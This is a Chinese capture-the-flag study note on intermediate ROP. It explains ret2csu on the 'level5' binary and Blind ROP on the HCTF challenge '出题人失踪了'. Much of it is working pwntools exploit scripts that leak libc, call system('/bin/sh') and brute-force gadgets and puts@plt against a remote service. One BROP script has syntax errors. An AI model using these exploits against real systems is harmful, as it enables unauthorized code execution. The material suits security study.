跳转至

IntermediateROP

Intermediate ROP

ret2csu

x86 与 x64 的区别:

x86 都是保存在栈上面的, 而 x64 中的前六个参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 中,如果还有更多的参数的话才会保存在栈上

详细的例子去看蒸米ROP x64篇

ret2csu

x64 下面有一些万能的 gadget:objdump -d ./level5 显示特定的汇编(-D 显示全部的)

观察一下 _libc_csu_init 一般来说,只要是调用了 libc.so 就会有这个函数来对 libc.so 进行初始化

1575033403616-d02362df-5cf3-4b5f-9f09-12a7a489294d.png

这里面有一些对寄存器操作的,需要注意的是 AT&T 与 8086 汇编语法有些区别

这些前面带百分号的极有可能是 AT&T 汇编,它的 mov 源操作数与目的操作数跟 8086 是反着的

  gadgets2
  4005f0:   4c 89 fa                mov    %r15,%rdx
  4005f3:   4c 89 f6                mov    %r14,%rsi
  4005f6:   44 89 ef                mov    %r13d,%edi
  4005f9:   41 ff 14 dc             callq  *(%r12,%rbx,8)
  ....
  gadgets1
  400606:   48 8b 5c 24 08          mov    0x8(%rsp),%rbx
  40060b:   48 8b 6c 24 10          mov    0x10(%rsp),%rbp
  400610:   4c 8b 64 24 18          mov    0x18(%rsp),%r12
  400615:   4c 8b 6c 24 20          mov    0x20(%rsp),%r13
  40061a:   4c 8b 74 24 28          mov    0x28(%rsp),%r14
  40061f:   4c 8b 7c 24 30          mov    0x30(%rsp),%r15
  400624:   48 83 c4 38             add    $0x38,%rsp
  400628:   c3                      retq   

通过构造栈上的数据,调用 1 然后返回到 2 就可以控制寄存器

1575199937493-61042764-4d11-4e0c-87cc-5901916d4cdd.png

临时参考:https://blog.csdn.net/weixin_43467772/article/details/89131527

首先通过溢出把一堆数据写在栈上,此时返回地址覆盖为 gadgets1,调用 gaegets1 的时候 rsp+8 通过 gadgets1 把栈上的数据写在寄存器里面,同时把 rsp 再加一下让程序返回到 gadgets2

gadgets2 会把之前寄存器上存的数据放在需要的寄存器上(参数存放顺序:RDI, RSI, RDX, RCX, R8 和 R9)

把 write 函数需要的参数部署好之后通过 call (r12+rbx*8) 之前把 rbx 设置成了 0,当程序执行完 write 函数以后会自己回到这里(因为是 call,正常调用)所以不用管返回地址,继续执行,此时还会执行 gadgets1 上面那张图那样子,gadgets1 里面有一段 add rsp,38h 所以还要填充 38h 个字节把这一段填充掉,使得程序返回的时候是我们写在栈上的 main_addr

write 函数原型是 write(1,address,len) ,1表示标准输出流 ,address 是 write 函数要输出信息的地址 ,而 len 表示输出长度

第一发payload

1580967841096-349ed8e3-2445-4cf2-adfa-97d0fb3a3f5d.png

第二发payload

1580967895864-e998b4fc-f357-41ed-b59c-186e01694327.png

第三发payload

1580967918246-1655d9a7-3e5b-49e0-9ab8-fb1bdf80c852.png

剩下的同理,只是 read 从标准输入流(0,即控制台)读取 0x100 放到 .bss 段里面

#!python
#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
elf = ELF('level5')
p = process('./level5')
got_write = elf.got['write']
got_read = elf.got['read']
main_addr = 0x400564
bss_addr=0x601028
payload1 =  "\x00"*136 + p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) + p64(0x4005F0) + "\x00"*56 + p64(main_addr)
p.recvuntil("Hello, World\n")
print "\n#############sending payload1#############\n"
p.send(payload1)
sleep(1)
write_addr = u64(p.recv(8))
print "write_addr: " + hex(write_addr)
libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
sys_addr=libc_base+libc.dump('system')
print "system_addr: " + hex(sys_addr)
p.recvuntil("Hello, World\n")
payload2 =  "\x00"*136 + p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) + p64(0x4005F0) + "\x00"*56 + p64(main_addr)
print "\n#############sending payload2#############\n"
p.send(payload2)
sleep(1)
p.send(p64(sys_addr))
p.send("/bin/sh\0")
sleep(1)
p.recvuntil("Hello, World\n")
payload3 =  "\x00"*136 + p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) + p64(0x4005F0) + "\x00"*56 + p64(main_addr)
print "\n#############sending payload3#############\n"
sleep(1)
p.send(payload3)
p.interactive()

给出的 exp

#!python
#!/usr/bin/env python
from pwn import *
#context.log_level="debug"
elf = ELF('level5')
libc = ELF('libc.so.6')
p = process('./level5')
got_write = elf.got['write']
print "got_write: " + hex(got_write)
got_read = elf.got['read']
print "got_read: " + hex(got_read)
main = 0x400564
off_system_addr = libc.symbols['write'] - libc.symbols['system']
print "off_system_addr: " + hex(off_system_addr)
#rdi=  edi = r13,  rsi = r14, rdx = r15 
#write(rdi=1, rsi=write.got, rdx=4)
payload1 =  "\x00"*136
payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56
payload1 += p64(main)
p.recvuntil("Hello, World\n")
print "\n#############sending payload1#############\n"
p.send(payload1)
sleep(1)
write_addr = u64(p.recv(8))
print "write_addr: " + hex(write_addr)
system_addr = write_addr - off_system_addr
print "system_addr: " + hex(system_addr)
bss_addr=0x601028
p.recvuntil("Hello, World\n")
#rdi=  edi = r13,  rsi = r14, rdx = r15 
#read(rdi=0, rsi=bss_addr, rdx=16)
payload2 =  "\x00"*136
payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload2 += "\x00"*56
payload2 += p64(main)
print "\n#############sending payload2#############\n"
p.send(payload2)
sleep(1)
p.send(p64(system_addr))
p.send("/bin/sh\0")
sleep(1)
p.recvuntil("Hello, World\n")
#rdi=  edi = r13,  rsi = r14, rdx = r15 
#system(rdi = bss_addr+8 = "/bin/sh")
payload3 =  "\x00"*136
payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload3 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload3 += "\x00"*56
payload3 += p64(main)
print "\n#############sending payload3#############\n"
sleep(1)
p.send(payload3)
p.interactive()

ret2reg

wiki 没有给出例题,等以后补上

BROP

BROP是在没有给出题目的情况下,只能通过尝试来确定

攻击条件

程序必须存在溢出漏洞,以便攻击者可以控制程序流程

进程崩溃以后可以重启,而且重启之后的地址与先前的地址一样

基本思路

首先通过枚举,判断栈溢出长度,然后通过 Stack Reading 获取栈上的数据来获取canary以及ebp和返回地址

再找到足够多的 gadget 来控制输出函数的参数并进行调用,利用输出函数来dump出程序来找到更多的gadget

栈溢出

从 1 开始暴力枚举,直到程序崩溃

Stack Reading

通过按照字节爆破比枚举数值更快
每个字节最多有256种可能,所以在32位的情况下,我们最多需要爆破1024次,64位最多爆破2048次

找到canary的值

Blind ROP

调用write函数最方便的方法是系统调用号,然后syscall,然而syscall几乎不可能

所以可以使用 libc_csu_init 结尾的一段 gadgets 来实现,同时可以使用 plt 来获取write地址,在write的参数里面,rdx是用来限制输出长度的,一般不会为0,但是保险起见,可以同时设置一下,但是几乎没有 pop rdx 这样的指令

可以通过 strcmp 来实现,在执行 strcmp 的时候,rdx会被设置为字符串的长度,所以只要找到 strcmp 就可以实现控制rdx

接下来要做的就是:

1、找gadgets 

2、找 plt 表,比如 write、strcmp

找gadget

为了能够找到 gadget,可以分为两步:1、stop gadget,当执行这一段代码时,程序陷入循环,使攻击者一直保持连接状态,其根本目的在于告诉攻击者,其所测试的地址是一段gadget

1583131475535-cf7db33b-3071-44ba-b662-ed7ce99cfe1a.png

1583131553335-d9ff013d-a3fe-4fda-a4d1-7d9ddc439f70.png

2、识别gadget,这里为了方便介绍,定义栈上的三种地址:

  • Probe

探针,也就是我们想要探测的代码地址。一般来说,都是64位程序,可以直接从0x400000尝试,如果不成功,有可能程序开启了PIE保护,再不济,就可能是程序是32位了。。这里我还没有特别想明白,怎么可以快速确定远程的位数。

  • Stop

不会使得程序崩溃的stop gadget的地址。

  • Trap

可以导致程序崩溃的地址,直接写 p64(0) 就可以

通过不同顺序构造一串 payload 就可以达到找到识别正在执行的指令的效果

比如:probe + trap + stop + trap + trap... 可以找到一个 pop xxx;ret 这样的

probe + trap + trap + trap + trap + trap + trap + stop + trap + trap...  这样的就可以找到:

pop xxx; pop xxx; pop xxx; pop xxx; pop xxx; pop xxx; ret

ps. 在每个布局后面都放上 trap 是为了保证崩溃 probe 返回如果不是 stop 能够立即崩溃

当然,我们还是很难确定它弹的哪一个寄存器,但是,一下子连续弹 6 次的很大可能性就是 brop_gadgets

这里说的 brop_gadgets 就是上面 ret2csu 的那个

同时找到的哪一个可能是一个 stop_gadgets,可以把后面原本的 stop_gadgets 改一下,如果程序没崩溃那就是又找了一个 stop_gadgets

找某些 plt

找到了 gadgets 以后,只需要根据功能,再去遍历地址,找到能够实现这个功能的地址就找到了这个函数的 plt

比如:payload = 'A'*72 +p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_gadget)

如果能过把 0x400000 的内容给输出来就可以找到 put@plt 了

HCTF 出题人失踪了

from pwn import *
i=1
while 1:
    try:
        p=remote("127.0.0.1",9999)
        p.recvuntil("WelCome my friend,Do you know password?\n")
        p.send('a'*i)
        data=p.recv()
        p.close()
        if not data.startwith('No password'):
            return i-1
        else:
            return i+1
    execpt EOFEror:
        p.close()
        return i-1
size=getsize()
print "size is [%s]"%size

用脚本跑出来是 72

1582355906748-7c3dfb17-877e-4443-9128-27e061f47e7f.png

再找一个能让程序不崩溃的地址(stop_gadgets):

from pwn import *
def getStopGadgets(length):
    addr = 0x400000
    while 1:
        try: 
            sh = remote('127.0.0.1',9999)
            payload = 'a'*length +p64(addr)
            sh.recvuntil("password?\n")
            sh.sendline(payload)
            output = sh.recvuntil("password?\n")
            sh.close()
            print("one stop addr: 0x%x" % (addr))
            if not output.startswith('WelCome'):
                sh.close()
                addr+=1
            else:
                return addr
        except Exception:
            addr+=1
            sh.close()
stop_gadgets = getStopGadgets(72)

感觉只有返回到 main 或者 _start 才能用

1582466190383-a53665e0-534d-4b9d-9ea3-3187a141e435.png

再去找 BROP_gadgets

from pwn import *
def get_brop_gadget(length, stop_gadget, addr):
    try:
        sh = remote('127.0.0.1', 9999)
        sh.recvuntil('password?\n')
        payload = 'a' * length + p64(addr) + p64(0) * 6 + p64(stop_gadget) + p64(0) * 10
        sh.sendline(payload)
        content = sh.recv()
        sh.close()
        print content
        # stop gadget returns memory
        if not content.startswith('WelCome'):
            return False
        return True
    except Exception:
        sh.close()
        return False

def check_brop_gadget(length, addr):
    try:
        sh = remote('127.0.0.1', 9999)
        sh.recvuntil('password?\n')
        payload = 'a' * length + p64(addr) + 'a' * 8 * 10
        sh.sendline(payload)
        content = sh.recv()
        sh.close()
        return False
    except Exception:
        sh.close()
        return True

length = 72
stop_gadget = 0x4005c0
addr = 0x400000
while 1:
    print hex(addr)
    if get_brop_gadget(length, stop_gadget, addr):
        print 'possible brop gadget: 0x%x' % addr
        if check_brop_gadget(length, addr):
            print 'success brop gadget: 0x%x' % addr
            break
    addr += 1

拿到 brop_gadgets

1582466300289-501c06bb-f271-467c-a876-fd08c3b525a3.png

根据之前的:我们可以发现,从找到的 brop_gadget 其中 pop r15;ret 对应的字节码为41 5f c3。后两字节码 5f c3 对应的汇编即为 pop rdi;ret

1582524138651-951a697c-c09d-4ebf-adf3-2c1b7d0f937c.png

所以,pop rdi;ret 的地址就是 brop_gadget + 9

通过这个 gadget 把 put 的 plt 给打出来

from pwn import *
##length = getbufferflow_length()
length = 72
##get_stop_addr(length)
stop_gadget = 0x4005c0
addr = 0x400740

def get_puts_addr(length, rdi_ret, stop_gadget):
    addr = 0x400000
    while 1:
        print hex(addr)
        sh = remote('127.0.0.1', 9999)
        sh.recvuntil('password?\n')
        payload = 'A' * length + p64(rdi_ret) + p64(0x400000) + p64(addr) + p64(stop_gadget)
        sh.sendline(payload)
        try:
            content = sh.recv()
            if content.startswith('\x7fELF'):
                print 'find puts@plt addr: 0x%x' % addr
                return addr
            sh.close()
            addr += 1
        except Exception:
            sh.close()
            addr += 1

brop_gadget=0x4007ba
rdi_ret=brop_gadget+9
get_puts_addr(72,rdi_ret,stop_gadget)

1582469040817-52f484f9-ab23-4914-8e88-804e846e324c.png

拿到了 put 的地址,就可以通过 很多次的 put 把想要的内容给 dump 出来

把程序 DUMP 下来:

from pwn import *
def dump(length, rdi_ret, puts_plt, leak_addr, stop_gadget):
    sh = remote('127.0.0.1', 9999)
    payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64(puts_plt) + p64(stop_gadget)
    sh.recvuntil('password?\n')
    sh.sendline(payload)
    try:
        data = sh.recv()
        sh.close()
        try:
            data = data[:data.index("\nWelCome")]
        except Exception:
            data = data
        if data == "":
            data = '\x00'
        return data
    except Exception:
        sh.close()
        return None

##length = getbufferflow_length()
length = 72
##stop_gadget = get_stop_addr(length)
stop_gadget = 0x4005c0
##brop_gadget = find_brop_gadget(length,stop_gadget)
brop_gadget = 0x4007ba
rdi_ret = brop_gadget + 9
##puts_plt = get_puts_plt(length, rdi_ret, stop_gadget)
puts_plt = 0x400555
addr = 0x400000
result = ""
while addr < 0x401000:
    print hex(addr)
    data = dump(length, rdi_ret, puts_plt, addr, stop_gadget)
    if data is None:
        continue
    else:
        result += data
    addr += len(data)
with open('code', 'wb') as f:
    f.write(result)

把 dump 下来的文件用 IDA 的二进制模式打开

1582370700359-3d912929-62a5-4396-a5ac-51443081e42a.png

然后把基址改成 0x400000:

编辑 -> 段 -> 重新设置基址

1582370758601-6c9309c1-5d31-48a8-b5f4-3eddcf6b86a0.png

设置为 0x400000

1582370782663-bfd5f39c-786e-488a-aa63-683925f456c1.png

在 0x400555 处,摁下 c 识别成汇编格式,可以看到 jmp 的地址是:601018h

1582370993137-ee86a9fc-9aab-44fa-a5ee-3bcfe5b9c5ff.png

这样就得到了 put@got 地址,知道了这个地址,再用 libcsearch 去进行 ret2libc 就可以了

##length = getbufferflow_length()
length = 72
##stop_gadget = get_stop_addr(length)
stop_gadget = 0x4006b6
##brop_gadget = find_brop_gadget(length,stop_gadget)
brop_gadget = 0x4007ba
rdi_ret = brop_gadget + 9
##puts_plt = get_puts_addr(length, rdi_ret, stop_gadget)
puts_plt = 0x400560
##leakfunction(length, rdi_ret, puts_plt, stop_gadget)
puts_got = 0x601018

sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\n')
payload = 'a' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(stop_gadget)
sh.sendline(payload)
data = sh.recvuntil('\nWelCome', drop=True)
puts_addr = u64(data.ljust(8, '\x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64(system_addr) + p64(stop_gadget)
sh.sendline(payload)
sh.interactive()

原文: https://www.yuque.com/hxfqg9/bin/pqc1nq